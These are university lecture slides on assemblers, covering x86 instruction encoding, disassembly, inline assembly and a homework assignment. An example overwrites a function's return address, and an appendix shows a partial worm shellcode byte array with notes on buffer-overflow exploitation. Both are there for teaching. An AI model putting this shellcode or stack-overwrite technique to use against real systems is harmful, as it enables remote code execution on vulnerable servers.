

# Lecture Note 9. Assembler



November 29, 2023

Jongmoo Choi  
Dept. of Software  
Dankook University

<http://embedded.dankook.ac.kr/~choijm>

# Objectives

- Understand the role of assembler
- Find out the structure of assembler
- Perceive how a HW designer makes a spec. and how a SW designer makes a program based on the spec.
- Know how to use assembly in a high-level language (inline assembly)
- Refer to Chapter 3 in the CSAPP and Intel SW Developer Manual



# Role of Assembler (1/1)

## ■ Assembler

- ✓ Translate assembly language into machine language

```
choijm@localhost:~/syspro_examples/chap9
80483e8:      c3                ret
080483e9 <f3>:
80483e9:      55                push   %ebp
80483ea:      89 e5             mov    %esp,%ebp
80483ec:      83 ec 08          sub    $0x8,%esp
80483ef:      c7 04 24 06 85 04 08  movl  $0x8048506,(%esp)
80483f6:      e8 f5 fe ff ff   call  80482f0 <puts@plt>
80483fb:      e8 c8 ff ff ff   call  80483c8 <f2>
8048400:      c7 04 24 10 85 04 08  movl  $0x8048510,(%esp)
8048407:      e8 e4 fe ff ff   call  80482f0 <puts@plt>
804840c:      c9                leave
804840d:      c3                ret
...
0804840e <main>:
8048418:      55                push   %ebp
8048419:      89 e5             mov    %esp,%ebp
804841b:      51                push   %ecx
804841c:      83 ec 04          sub    $0x4,%esp
804841f:      e8 c5 ff ff ff   call  80483e9 <f3>
8048424:      83 c4 04          add    $0x4,%esp
8048427:      59                pop    %ecx
8048428:      5d                pop    %ebp
8048429:      8d 61 fc          lea   -0x4(%ecx),%esp
804842c:      c3                ret
...
08048430 <__libc_csu_fini>:
8048430:      55                push   %ebp
8048431:      89 e5             mov    %esp,%ebp
8048433:      5d                pop    %ebp
8048434:      c3                ret
8048435:      8d 74 26 00       lea   0x0(%esi,%eiz,1),%esi
8048439:      8d bc 27 00 00 00 00 lea   0x0(%edi,%eiz,1),%edi
180,0-1 65%
```

☞ Understanding a binary is indispensable for detecting virus, plagiarism and SW refactoring




# Functionalities of Assembler: 32-bit CPU (1/5)

## Machine Code

### IA-32 machine code format

- Group 1 Lock and repeat prefixes
- Group 2 Segment override prefix, Branch hints
- Group 3 Operand-size override prefix
- Group 4 Address-size override prefix



- The *scale* field specifies the scale factor.
- The *index* field specifies the register number of the index register.
- The *base* field specifies the register number of the base register.

Figure 2-1. Intel 64 and IA-32 Architectures Instruction Format (from Intel Manual, Volume 2)

- The *mod* field combines with the *r/m* field to form 32 possible values: eight registers and 24 addressing modes.
- The *reg/opcode* field specifies either a register number or three more bits of opcode information. The purpose of the *reg/opcode* field is specified in the primary opcode.
- The *r/m* field can specify a register as an operand or can be combined with the *mod* field to encode an addressing mode.

Mod	
00	mem.
01	mem.+dis(8)
10	mem.+dis(32)
11	reg.

Scale	
00	*1
01	*2
10	*4
11	*8

R/M or I/B register		
000	EAX	[EAX]
001	ECX	[ECX]
010	EDX	[EDX]
011	EBX	[EBX]
100	ESP	[--][--] <sup>1</sup>
101	EBP	disp32 <sup>2</sup>
110	ESI	[ESI]
111	EDI	[EDI]



# Functionalities of Assembler: 32-bit CPU (2/5)

## ■ Opcode

- ✓ Machine format example of MOV opcode

Opcode	Instruction	Description
88 <i>lr</i>	MOV <i>r/m8,r8</i>	Move <i>r8</i> to <i>r/m8</i>
89 <i>lr</i>	MOV <i>r/m16,r16</i>	Move <i>r16</i> to <i>r/m16</i>
89 <i>lr</i>	MOV <i>r/m32,r32</i>	Move <i>r32</i> to <i>r/m32</i>
8A <i>lr</i>	MOV <i>r8,r/m8</i>	Move <i>r/m8</i> to <i>r8</i>
8B <i>lr</i>	MOV <i>r16,r/m16</i>	Move <i>r/m16</i> to <i>r16</i>
8B <i>lr</i>	MOV <i>r32,r/m32</i>	Move <i>r/m32</i> to <i>r32</i>
8C <i>lr</i>	MOV <i>r/m16,Sreg**</i>	Move segment register to <i>r/m16</i>
8E <i>lr</i>	MOV <i>Sreg,r/m16**</i>	Move <i>r/m16</i> to segment register
A0	MOV AL, <i>moffs8*</i>	Move byte at ( <i>seg:offset</i> ) to AL
A1	MOV AX, <i>moffs16*</i>	Move word at ( <i>seg:offset</i> ) to AX
A1	MOV EAX, <i>moffs32*</i>	Move doubleword at ( <i>seg:offset</i> ) to EAX
A2	MOV <i>moffs8*</i> ,AL	Move AL to ( <i>seg:offset</i> )
A3	MOV <i>moffs16*</i> ,AX	Move AX to ( <i>seg:offset</i> )
A3	MOV <i>moffs32*</i> ,EAX	Move EAX to ( <i>seg:offset</i> )
B0+ <i>rb</i>	MOV <i>r8,imm8</i>	Move <i>imm8</i> to <i>r8</i>
B8+ <i>rw</i>	MOV <i>r16,imm16</i>	Move <i>imm16</i> to <i>r16</i>
B8+ <i>rd</i>	MOV <i>r32,imm32</i>	Move <i>imm32</i> to <i>r32</i>
C6 <i>l0</i>	MOV <i>r/m8,imm8</i>	Move <i>imm8</i> to <i>r/m8</i>
C7 <i>l0</i>	MOV <i>r/m16,imm16</i>	Move <i>imm16</i> to <i>r/m16</i>
C7 <i>l0</i>	MOV <i>r/m32,imm32</i>	Move <i>imm32</i> to <i>r/m32</i>

### MOV—Move

(from Intel Manual, Volume 2, 4.3 Instructions: move)





# Functionalities of Assembler: 32-bit CPU (3/5)

## Translation example

The screenshot shows an assembler window titled "choijm's X desktop (embedded.wowdns.com:2)". The assembly code is as follows:

```

...skipping
080482f4 <main>:
80482f4: 55          push  %ebp
80482f5: a1 20 94 04 08  mov  0x8049420,%eax
80482fa: a3 24 94 04 08  mov  %eax,0x8049424
80482ff: b8 03 00 00 00  mov  $0x3,%eax
8048304: b9 04 00 00 00  mov  $0x4,%ecx
8048309: bf 05 00 00 00  mov  $0x5,%edi
804830e: 89 ca       mov  %rcv,%rdv
...
8048320: 8048320: 8048320:
804832f: 804832f:
8048332: 8048332:
8048336: 8048336:
8048338: 8048338:
8048339: c3        ret
804833a: 90        nop
804833b: 90        nop
    
```

Annotations in the image:

- opcode**: Points to the first byte of the instruction (e.g., 55).
- mem. operand: Little Endian**: Points to the multi-byte operand (e.g., 20 94 04 08).
- Immediate (1B vs 4B: see below)**: Points to the immediate value in the instruction.
- opcode + register**: Points to the instruction format (e.g., mov).

**Mod**

00	mem.
01	mem.+dis(8)
10	mem.+dis(32)
11	reg.

**R/M or I/B number**

000	EAX	[EAX]
001	ECX	[ECX]
010	EDX	[EDX]
011	EBX	[EBX]
100	ESP	[--][--] <sup>1</sup>
101	EBP	disp32 <sup>2</sup>
110	ESI	[ESI]
111	EDI	[EDI]

**Opcode**

Opcode	Instruction	Description
88 <i>ir</i>	MOV <i>r/m8,r8</i>	Move <i>r8</i> to <i>r/m8</i>
89 <i>ir</i>	MOV <i>r/m16,r16</i>	Move <i>r16</i> to <i>r/m16</i>
89 <i>ir</i>	MOV <i>r/m32,r32</i>	Move <i>r32</i> to <i>r/m32</i>
8A <i>ir</i>	MOV <i>r8,r/m8</i>	Move <i>r/m8</i> to <i>r8</i>
8B <i>ir</i>	MOV <i>r16,r/m16</i>	Move <i>r/m16</i> to <i>r16</i>
8B <i>ir</i>	MOV <i>r32,r/m32</i>	Move <i>r/m32</i> to <i>r32</i>
8C <i>ir</i>	MOV <i>r/m16,Seg**</i>	Move segment register to <i>r/m16</i>
8E <i>ir</i>	MOV <i>Seg,r/m16**</i>	Move <i>r/m16</i> to segment register
A0	MOV AL,moffs8*	Move byte at ( <i>seg:offset</i> ) to AL
A1	MOV AX,moffs16*	Move word at ( <i>seg:offset</i> ) to AX
A1	MOV EAX,moffs32*	Move doubleword at ( <i>seg:offset</i> ) to EAX
A2	MOV moffs8*,AL	Move AL to ( <i>seg:offset</i> )
A3	MOV moffs16*,AX	Move AX to ( <i>seg:offset</i> )
A3	MOV moffs32*,EAX	Move EAX to ( <i>seg:offset</i> )
B0+ <i>rb</i>	MOV <i>r8,imm8</i>	Move <i>imm8</i> to <i>r8</i>
B8+ <i>rw</i>	MOV <i>r16,imm16</i>	Move <i>imm16</i> to <i>r16</i>
B8+ <i>rd</i>	MOV <i>r32,imm32</i>	Move <i>imm32</i> to <i>r32</i>
C6 <i>io</i>	MOV <i>r/m8,imm8</i>	Move <i>imm8</i> to <i>r/m8</i>
C7 <i>io</i>	MOV <i>r/m16,imm16</i>	Move <i>imm16</i> to <i>r/m16</i>
C7 <i>io</i>	MOV <i>r/m32,imm32</i>	Move <i>imm32</i> to <i>r/m32</i>



# Functionalities of Assembler: 32-bit CPU (4/5)

## Translation example

```

choijm's X desktop (embedded.wowdns.com:2)
choijm@embedded:~/syspro/exam/asm/O3/machine
... skipping
08040000:
8040000: 80 00 *1 55          push %ebp
8040004: 80 01 *2 a1 20 94 04 08    mov 0x8049420,%eax
8040008: 80 10 *4 a3 24 94 04 08    mov %eax,0x8049424
804000c: 80 11 *8 b8 03 00 00 00    mov $0x3,%eax
8040010: 80 11 *8 b9 04 00 00 00    mov $0x4,%ecx
8040014: 80 11 *8 bf 05 00 00 00    mov $0x5,%edi
804830e: 89 ca          mov %ecx,%edx
8048310: 89 0a          mov %ecx,(%edx)
8048312: 8b 08          mov (%eax),%ecx
8048314: 8b 48 04      mov 0x4(%eax),%ecx
8048317: 8b 4c 98 08   mov 0x8(%eax,%ebx,4),%ecx
804831b: 8b 8c 98 78 56 00 00  mov 0x5678(%eax,%ebx,4),%ecx
8048322:          mov %ecx,0x8049420
  
```

Scale	Value
00	*1
01	*2
10	*4
11	*8

ModR/M: **11001010**

ModR/M: **01001000**

displacement

The [---] nomenclature means a SIB follows the ModR/M byte.

SIB: **10011000**

R/M or I/B number	Register	Addressing
000	EAX	[EAX]
001	ECX	[ECX]
010	EDX	[EDX]
011	EBX	[EBX]
100	ESP	[---][---] <sup>1</sup>
101	EBP	disp32 <sup>2</sup>
110	ESI	[ESI]
111	EDI	[EDI]

Mod	Description
00	mem.
01	mem.+dis(8)
10	mem.+dis(32)
11	reg.

Opcode	Instruction	Description
88 <i>ir</i>	MOV <i>r/m8,r8</i>	Move <i>r8</i> to <i>r/m8</i>
89 <i>ir</i>	MOV <i>r/m16,r16</i>	Move <i>r16</i> to <i>r/m16</i>
89 <i>ir</i>	MOV <i>r/m32,r32</i>	Move <i>r32</i> to <i>r/m32</i>
8A <i>ir</i>	MOV <i>r8,r/m8</i>	Move <i>r/m8</i> to <i>r8</i>
8B <i>ir</i>	MOV <i>r16,r/m16</i>	Move <i>r/m16</i> to <i>r16</i>
8B <i>ir</i>	MOV <i>r32,r/m32</i>	Move <i>r/m32</i> to <i>r32</i>
8C <i>ir</i>	MOV <i>r/m16,Sreg**</i>	Move segment register to <i>r/m16</i>
8E <i>ir</i>	MOV <i>Sreg,r/m16**</i>	Move <i>r/m16</i> to segment register
A0	MOV AL,moffs8*	Move byte at ( <i>seg:offset</i> ) to AL
A1	MOV AX,moffs16*	Move word at ( <i>seg:offset</i> ) to AX
A1	MOV EAX,moffs32*	Move doubleword at ( <i>seg:offset</i> ) to EAX
A2	MOV moffs8*,AL	Move AL to ( <i>seg:offset</i> )
A3	MOV moffs16*,AX	Move AX to ( <i>seg:offset</i> )
A3	MOV moffs32*,EAX	Move EAX to ( <i>seg:offset</i> )
B0+ <i>rb</i>	MOV <i>r8,imm8</i>	Move <i>imm8</i> to <i>r8</i>
B8+ <i>rw</i>	MOV <i>r16,imm16</i>	Move <i>imm16</i> to <i>r16</i>
B8+ <i>rd</i>	MOV <i>r32,imm32</i>	Move <i>imm32</i> to <i>r32</i>
C6 <i>io</i>	MOV <i>r/m8,imm8</i>	Move <i>imm8</i> to <i>r/m8</i>
C7 <i>io</i>	MOV <i>r/m16,imm16</i>	Move <i>imm16</i> to <i>r/m16</i>
C7 <i>io</i>	MOV <i>r/m32,imm32</i>	Move <i>imm32</i> to <i>r/m32</i>

# Functionalities of Assembler: 32-bit CPU (5/5)

## Translation example (cont')

**Mod**

00	mem.
01	mem.+dis(8)
10	mem.+dis(32)
11	reg.

**Scale**

00	*1
01	*2
10	*4
11	*8

**R/M or I/B number**

000	EAX	[EAX]
001	ECX	[ECX]
010	EDX	[EDX]
011	EBX	[EBX]
100	ESP	[--][--] <sup>1</sup>
101	EBP	disp32 <sup>2</sup>
110	ESI	[ESI]
111	EDI	[EDI]

Opcode	Instruction	Description
88 <i>ir</i>	MOV <i>r/m8,r8</i>	Move <i>r8</i> to <i>r/m8</i>
89 <i>ir</i>	MOV <i>r/m16,r16</i>	Move <i>r16</i> to <i>r/m16</i>
89 <i>ir</i>	MOV <i>r/m32,r32</i>	Move <i>r32</i> to <i>r/m32</i>
8A <i>ir</i>	MOV <i>r8,r/m8</i>	Move <i>r/m8</i> to <i>r8</i>
8B <i>ir</i>	MOV <i>r16,r/m16</i>	Move <i>r/m16</i> to <i>r16</i>
8B <i>ir</i>	MOV <i>r32,r/m32</i>	Move <i>r/m32</i> to <i>r32</i>
8C <i>ir</i>	MOV <i>r/m16,Seg**</i>	Move segment register to <i>r/m16</i>
8E <i>ir</i>	MOV <i>Seg,r/m16**</i>	Move <i>r/m16</i> to segment register
A0	MOV AL,moffs8*	Move byte at ( <i>seg:offset</i> ) to AL
A1	MOV AX,moffs16*	Move word at ( <i>seg:offset</i> ) to AX
A1	MOV EAX,moffs32*	Move doubleword at ( <i>seg:offset</i> ) to EAX
A2	MOV moffs8*,AL	Move AL to ( <i>seg:offset</i> )
A3	MOV moffs16*,AX	Move AX to ( <i>seg:offset</i> )
A3	MOV moffs32*,EAX	Move EAX to ( <i>seg:offset</i> )
B0+ <i>rb</i>	MOV <i>r8,imm8</i>	Move <i>imm8</i> to <i>r8</i>
B8+ <i>rw</i>	MOV <i>r16,imm16</i>	Move <i>imm16</i> to <i>r16</i>
B8+ <i>rd</i>	MOV <i>r32,imm32</i>	Move <i>imm32</i> to <i>r32</i>
C6 <i>io</i>	MOV <i>r/m8,imm8</i>	Move <i>imm8</i> to <i>r/m8</i>
C7 <i>io</i>	MOV <i>r/m16,imm16</i>	Move <i>imm16</i> to <i>r/m16</i>
C7 <i>io</i>	MOV <i>r/m32,imm32</i>	Move <i>imm32</i> to <i>r/m32</i>

```

8048317:
804831b:
8048322:
8048328:
804832f:
8048332:
8048336:
8048338:
8048339:
804833a:
804833b:
            
```

8b 8c 98 78 56 00 00	mov	0x5678(%eax,%ebx,4),%ecx
89 0d 20 94 04 08	mov	%ecx,0x8049420
c7 05 20 94 04 08 34	movl	\$0x1234,0x8049420
12 00 00		
66 b8 68 1e	mov	\$0x1e68,%ax
b0 07	mov	\$0x7,%al
c9	leave	
c3	ret	
90	nop	
90	nop	

The disp32 nomenclature denotes a 32-bit displacement that follows the ModR/M byte


Prefix: 0x66 → operand size override






# Structure of Assembler (1/2)

## ■ 4 Main Components



# Structure of Assembler (2/2)

- 2 pass assembler




☞ To sum up, designing an assembler consists of 1) making parser, 2) manipulating DB, 3) managing symbol table, 4) code generating, 5) error handling, 6) optimization and so on.



# Functionalities of Assembler: 64-bit CPU (1/4)

- Machine Code with 64-bit extension
  - ✓ Need to encode new registers (GPRs) and 64-bit addressing
  - ✓ Need to maintain backward compatibility



# Functionalities of Assembler: 64-bit CPU (2/4)

## Machine Code with 64-bit extension

✓ Code format

Legacy Prefixes	REX Prefix	Opcode	ModR/M	SIB	Displacement	Immediate
Grp 1, Grp 2, Grp 3, Grp 4 (optional)	(optional)	1-, 2-, or 3-byte opcode	1 byte (if required)	1 byte (if required)	Address displacement of 1, 2, or 4 bytes	Immediate data of 1, 2, or 4 bytes or none

Figure 2-3. Prefix Ordering in 64-bit Mode

### REX prefix

- Specify GPRs (rax, rbx, ..., rdi, r8, r9, ... r15) and SSE registers
- Specify 64-bit operand size

Table 2-4. REX Prefix Fields [BITS: 0100WRXB]

Field Name	Bit Position	Definition
-	7:4	0100
W	3	0 = Operand size determined by CS.D 1 = 64 Bit Operand Size
R	2	Extension of the ModR/M reg field
X	1	Extension of the SIB index field
B	0	Extension of the ModR/M r/m field, SIB base field, or Opcode reg field




Figure 2-6. Memory Addressing With a SIB Byte

(from Intel Manual, Volume 2, 2.2 IA-32e Mode)





# Functionalities of Assembler: 64-bit CPU (3/4)

- Machine Code including 64-bit extension
  - ✓ Machine format example of MOV opcode
    - 64bit addressing → REX prefix

## MOV—Move

Opcode	Instruction	Op/En	64-Bit Mode	Compat/Leg Mode	Description
88 <i>Ir</i>	MOV <i>r/m8,r8</i>	MR	Valid	Valid	Move <i>r8</i> to <i>r/m8</i> .
REX + 88 <i>Ir</i>	MOV <i>r/m8***,r8***</i>	MR	Valid	N.E.	Move <i>r8</i> to <i>r/m8</i> .
89 <i>Ir</i>	MOV <i>r/m16,r16</i>	MR	Valid	Valid	Move <i>r16</i> to <i>r/m16</i> .
89 <i>Ir</i>	MOV <i>r/m32,r32</i>	MR	Valid	Valid	Move <i>r32</i> to <i>r/m32</i> .
REX.W + 89 <i>Ir</i>	MOV <i>r/m64,r64</i>	MR	Valid	N.E.	Move <i>r64</i> to <i>r/m64</i> .
BA <i>Ir</i>	MOV <i>r8,r/m8</i>	RM	Valid	Valid	Move <i>r/m8</i> to <i>r8</i> .
REX + BA <i>Ir</i>	MOV <i>r8***,r/m8***</i>	RM	Valid	N.E.	Move <i>r/m8</i> to <i>r8</i> .
BB <i>Ir</i>	MOV <i>r16,r/m16</i>	RM	Valid	Valid	Move <i>r/m16</i> to <i>r16</i> .
BB <i>Ir</i>	MOV <i>r32,r/m32</i>	RM	Valid	Valid	Move <i>r/m32</i> to <i>r32</i> .
REX.W + BB <i>Ir</i>	MOV <i>r64,r/m64</i>	RM	Valid	N.E.	Move <i>r/m64</i> to <i>r64</i> .
BC <i>Ir</i>	MOV <i>r/m16,Sreg**</i>	MR	Valid	Valid	Move segment register to <i>r/m16</i> .
BC <i>Ir</i>	MOV <i>r16/r32/m16, Sreg**</i>	MR	Valid	Valid	Move zero extended 16-bit segment register to <i>r16/r32/m16</i> .
REX.W + BC <i>Ir</i>	MOV <i>r64/m16, Sreg**</i>	MR	Valid	Valid	Move zero extended 16-bit segment register to <i>r64/m16</i> .
BE <i>Ir</i>	MOV <i>Sreg,r/m16**</i>	RM	Valid	Valid	Move <i>r/m16</i> to segment register.
REX.W + BE <i>Ir</i>	MOV <i>Sreg,r/m64**</i>	RM	Valid	Valid	Move lower 16 bits of <i>r/m64</i> to segment register.
A0	MOV AL, <i>moffs8*</i>	FD	Valid	Valid	Move byte at ( <i>seg:offset</i> ) to AL.
REX.W + A0	MOV AL, <i>moffs8*</i>	FD	Valid	N.E.	Move byte at ( <i>offset</i> ) to AL.
A1	MOV AX, <i>moffs16*</i>	FD	Valid	Valid	Move word at ( <i>seg:offset</i> ) to AX.
A1	MOV EAX, <i>moffs32*</i>	FD	Valid	Valid	Move doubleword at ( <i>seg:offset</i> ) to EAX.
REX.W + A1	MOV RAX, <i>moffs64*</i>	FD	Valid	N.E.	Move quadword at ( <i>offset</i> ) to RAX.
A2	MOV <i>moffs8,AL</i>	TD	Valid	Valid	Move AL to ( <i>seg:offset</i> ).
REX.W + A2	MOV <i>moffs8***,AL</i>	TD	Valid	N.E.	Move AL to ( <i>offset</i> ).
A3	MOV <i>moffs16*,AX</i>	TD	Valid	Valid	Move AX to ( <i>seg:offset</i> ).
A3	MOV <i>moffs32*,EAX</i>	TD	Valid	Valid	Move EAX to ( <i>seg:offset</i> ).
REX.W + A3	MOV <i>moffs64*,RAX</i>	TD	Valid	N.E.	Move RAX to ( <i>offset</i> ).
B0+ <i>rb ib</i>	MOV <i>r8, imm8</i>	OI	Valid	Valid	Move <i>imm8</i> to <i>r8</i> .
REX + B0+ <i>rb ib</i>	MOV <i>r8***, imm8</i>	OI	Valid	N.E.	Move <i>imm8</i> to <i>r8</i> .
BB+ <i>rw iw</i>	MOV <i>r16, imm16</i>	OI	Valid	Valid	Move <i>imm16</i> to <i>r16</i> .
BB+ <i>rd id</i>	MOV <i>r32, imm32</i>	OI	Valid	Valid	Move <i>imm32</i> to <i>r32</i> .
REX.W + BB+ <i>rd id</i>	MOV <i>r64, imm64</i>	OI	Valid	N.E.	Move <i>imm64</i> to <i>r64</i> .
C6 <i>IO ib</i>	MOV <i>r/m8, imm8</i>	MI	Valid	Valid	Move <i>imm8</i> to <i>r/m8</i> .
REX + C6 <i>IO ib</i>	MOV <i>r/m8***, imm8</i>	MI	Valid	N.E.	Move <i>imm8</i> to <i>r/m8</i> .
C7 <i>IO iw</i>	MOV <i>r/m16, imm16</i>	MI	Valid	Valid	Move <i>imm16</i> to <i>r/m16</i> .
C7 <i>IO id</i>	MOV <i>r/m32, imm32</i>	MI	Valid	Valid	Move <i>imm32</i> to <i>r/m32</i> .
REX.W + C7 <i>IO id</i>	MOV <i>r/m64, imm32</i>	MI	Valid	N.E.	Move <i>imm32</i> sign extended to 64-bits to <i>r/m64</i> .

(from Intel Manual, Volume 2, 4.3 Instructions: move)



# Functionalities of Assembler: 64-bit CPU (4/4)

## Translation example

```
choijm's X desktop (embedded.wowdns.com:2)
choijm@embedded:~/syspro/exam/asm/03/machine
...skipping
080482f4 <main>:
80482f4: 55                push %ebp
80482f5: a1 20 94 04 08    mov 0x8049420,%eax
80482fa: a3 24 94 04 08    mov %eax,0x8049424
80482ff: b8 03 00 00 00    mov $0x3,%eax
8048304: b9 04 00 00 00    mov $0x4,%ecx
8048309: bf 05 00 00 00    mov $0x5,%edi
804830e: 89 ca            mov %ecx,%edx
8048310: 89 0a            mov %ecx,(%edx)
8048312: 8b 08            mov (%eax),%ecx
8048314: 8b 48 04         mov 0x4(%eax),%ecx
8048317: 8b 4c 98 08      mov 0x8(%eax,%ebx,4),%ecx
804831b: 8b 8c 98 78 56 00 00 mov 0x5678(%eax,%ebx,4),%ecx
8048322: 89 0d 20 94 04 08 mov %ecx,0x8049420
8048328: c7 05 20 94 04 08 34 movl $0x1234,0x8049420
804832f: 12 00 00
8048332: 66 b8 68 1e     mov $0x1e68,%ax
8048336: b0 07           mov $0x7,%al
8048338: c9             leave
8048339: c3             ret
804833a: 90             nop
804833b: 90             nop
```

REX Prefix: 0100 1000

```
choijm@choijm-VirtualBox: ~/2015_syspro/chap9/assembler
400536: e8 d5 fe ff ff    callq 400410 <puts@plt>
40053b: a1 20 94 04 48 23 01 mov 0x12348049420,%eax // movabs
400542: 00 00
400544: a3 24 94 04 48 23 01 mov %eax,0x12348049424 // movabs
40054b: 00 00
40054d: b8 03 00 00 00    mov $0x3,%eax
400552: b9 04 00 00 00    mov $0x4,%ecx
400557: bf 05 00 00 00    mov $0x5,%edi
40055c: 89 ca            mov %ecx,%edx
40055e: 67 89 0a         mov %ecx,(%edx)
400561: 48 89 0a         mov %rcx,(%rdx)
400564: 4d 89 0a         mov %r9,(%r10)
400567: 67 8b 08         mov (%eax),%ecx
40056a: 67 8b 48 04      mov 0x4(%eax),%ecx
40056e: 67 8b 4c 98 08   mov 0x8(%eax,%ebx,4),%ecx
400573: 67 8b 8c 98 78 56 00 00 mov 0x5678(%eax,%ebx,4),%ecx
40057a: 00
40057b: 89 0c 25 20 94 04 08 mov %ecx,0x8049420
400582: c7 04 25 20 94 04 48 movl $0x1234,0x48049420
400589: 34 12 00 00
40058d: 66 b8 68 1e     mov $0x1e68,%ax
400591: b0 07           mov $0x7,%al
400593: c7 05 ab 0a 20 00 14 movl $0x14,0x200aab(%rip)
;01048 <a>
40059a: 00 00 00
```

For specifying r9, r10



# inline Assembly (1/6)

---

## ■ inline Assembly

- ✓ Assembly code embedded in a high level language like C
- ✓ structure
  - `__asm__(assembly statement : output : input : modified register)`
  - Each parts are separated by :
  - output, input, modified register are optional
  - assembly statement: using “ ”, add a prefix % to each register
  - output: “=g”(variable name)
  - input: “g”(variable name)
  - modified register (clobber): notify to compiler which registers are modified by inline assembly (to prevent the side effect of inline assembly)
  - Output and input are accessed using the notation of %0, %1, %2, ...



# inline Assembly (2/6)

## inline Assembly practice 1: add

```
choijm@localhost:/home/choijm/syspro_examples/chap9
/* inline assembly 예제 */
/* 11월 10일 J. Choi */

#include <stdio.h>

main()
{
    int a, b, c = 7;

    a = 3;
    b = 5;

    printf("c = %d\n", c);

    __asm__ (
        "movl  %1, %%eax\n"
        "addl  %2, %%eax\n"
        "movl  %%eax, %0\n"
        : "=g" (c)
        : "g" (a), "g" (b)
    );

    printf("c = %d\n", c);
}

inline add g.c 24,1 모부
"inline_add_g.c" 24 줄 --100%--
```

assembly statements

output

input

- input/output passing**
- a** eax
  - b** ebx
  - c** ecx
  - d** edx
  - S** esi
  - D** edi
  - q** general register
  - m** memory
  - g** general register and memory
  - A** edx: eax (64 bits)
  - f** FP register
  - i** immediate
  - 0** first parameter
  - ..**





# inline Assembly (3/6)

- inline Assembly practice 2: register input

```
choijm@localhost:/home/choijm/syspro_examples/chap9
/* inline assembly 예제 */
/* 11월 10일 J. Choi */

#include <stdio.h>

main()
{
    int a, b, c = 7;

    a = 3;
    b = 5;

    printf("c = %d\n", c);

    __asm__ (
        "addl  %%ebx, %%eax\n"
        : "=a" (c)
        : "a" (a), "b" (b)
    );

    printf("c = %d\n", c);
}
~
~
~
inline add.c 12,0-1 모두
"inline_add.c" 22 줄 --54%--
```



# inline Assembly (4/6)

## inline Assembly practice 3: clobber

```
choijm@localhost:~/public_html/syspro/exam_inline/3_clobber
/* inline assembly 예제: clobber */
/* 11월 15일 최종무 */
#include <stdio.h>

main()
{
    int a, b, c, d;
    a = 0x40000002;
    b = 4;

    _asm__ (
        "mull    %%ebx%n"
        "movl    %%eax, %0%n"
        "movl    %%edx, %1%n"
        : "=g" (c), "=g" (d)
        : "a" (a), "b" (4)
        : "%edx"
    );
    printf("a = %x, b = %d, c = %d, d = %d\n", a, b, c, d);

    __asm__ (
        "divl    %%ebx%n"
        "movl    %%eax, %0%n"
        "movl    %%edx, %1%n"
        : "=g" (c), "=g" (d)
        : "a" (a), "b" (4), "d" (0)
    );
    printf("a = %x, b = %d, c = %x, d = %d\n", a, b, c, d);
}

~
~
~
"clobber1.c" 30L, 516C
```

To notify that a register is used internally in inline assembly

# inline Assembly (5/6)

## inline Assembly practice 4: stack again

```
choijm@embedded: ~/syspro18/chap9
/* stack_destroy.c: 스택 구조 분석 2, 11월 25일, choijm@dku.edu */
#include <stdio.h>

void f1() {
    int i;
    printf("In func1\n");
}

void f2() {
    /*
    int j, *ptr;
    printf("f2 local: \t%p, \t%p\n", &j, &ptr);
    printf("In func2 \n");

    ptr = &j;
    *(ptr+2) = f1;
    */
    printf("In func2 \n");
    __asm__ (
        "movl    %0, 4(%%ebp)\n"
        :
        : "g" (f1)
    );
}

void f3() {
    printf("Before invoke f2()\n");
    f2();
    printf("After invoke f2()\n");
}

main() {
    f3();
}

"stack_destroy_inline.c" 35L, 499C      19      1,1      Top
```

# inline Assembly (6/6)

## ■ inline Assembly practice 5: define

```
choijm@choijm-VirtualBox: ~/2015_syspro/chap9/inline
#include <stdio.h>

#define rep_movsl(src, dest, numwords) \
__asm__ __volatile__ ( \
    "cld\n" \
    "rep\n" \
    "movsb" \
    : \
    : "S" (src), "D" (dest), "c" (numwords) \
)

main()
{
    char a[] = "hello";
    char b[16];

    rep_movsl(a, b, sizeof(a));
    printf("dest = %s\n", b);
}
~
~
~
```

Prevent a compiler from moving these codes to other place for the optimization purpose.





# Summary

---

- Apprehend the role of assembler (“as” in Linux)
  - ✓ Assembly language → Machine language
- Understand the structure of assembler
  - ✓ Token analysis, Parsing, Syntax analysis, Semantic Analysis, Symbol table, Code generation, Optimization
  - ✓ 2 pass assembler
- Make a program with inline assembly

## ☞ Homework 8: Make an assembler

### 1.1 Requirements

- build an assembler that can translate assembly codes into the IA machine codes shown in slides 6~8.
- manipulate DB and do error handling
- shows student’s ID and date (using whoami and date)

### 1.2 Write a report

- 1) Introduction, 2) Source code, 3) Snapshots, 4) Discussion

### 1.3 How to submit? Send report to [mgchoi@dankook.ac.kr](mailto:mgchoi@dankook.ac.kr)

### 1.4 Deadline: a week later (same time)







# Appendix: Exploit code (2/2)

## ■ SQL Exploit code

- ✓ Copy a request into stack in a SQL internal function (vulnerable point)
- ✓ Make a larger request might destroy stack (buffer overflow)
- ✓ Modify the return address of stack so that it executes an exploit code

```
char exploit_code[] =  
"Wx55Wx8BWxECWx68Wx18Wx10WxAEWx42Wx68Wx1C"  
"Wx10WxAEWx42WxEBWx03Wx5BWxEBWx05WxE8WxF8"  
"WxFFWxFFWxFFWxBEWxFFWxFFWxFFWxFFWx81WxF6"  
"WxAEWxFEWxFFWxFFWx03WxDEWx90Wx90Wx90Wx90"  
"Wx90Wx33WxC9WxB1Wx44WxB2Wx58Wx30Wx13Wx83"  
"WxEBWx01WxE2WxF9Wx43Wx53Wx8BWx75WxFCWxFF"  
"Wx16Wx50Wx33WxC0WxB0Wx0CWx03WxD8Wx53WxFF"  
"Wx16Wx50Wx33WxC0WxB0Wx10Wx03WxD8Wx53Wx8B"  
  
...  
"WxFFWxD0Wx90Wx2FWx2BWx6AWx07Wx6BWx6AWx76"  
"Wx3CWx34Wx34Wx58Wx58Wx33Wx3DWx2AWx36Wx3D"  
"Wx34Wx6BWx6AWx76Wx3CWx34Wx34Wx58Wx58Wx58"  
"Wx58Wx0FWx0BWx19Wx0BWx37Wx3BWx33Wx3DWx2C"  
"Wx19Wx58Wx58Wx3BWx37Wx36Wx36Wx3DWx3BWx2C"  
"Wx58Wx1BWx2AWx3DWx39Wx2CWx3DWx08Wx2AWx37"  
"Wx3BWx3DWx2BWx2BWx19Wx58Wx58Wx3BWx35Wx3C"  
"Wx58";
```

Annotations:

- push %ebp
- mov %esp, %ebp
- push immediate
- jmp 0x03
- pop %eax 24

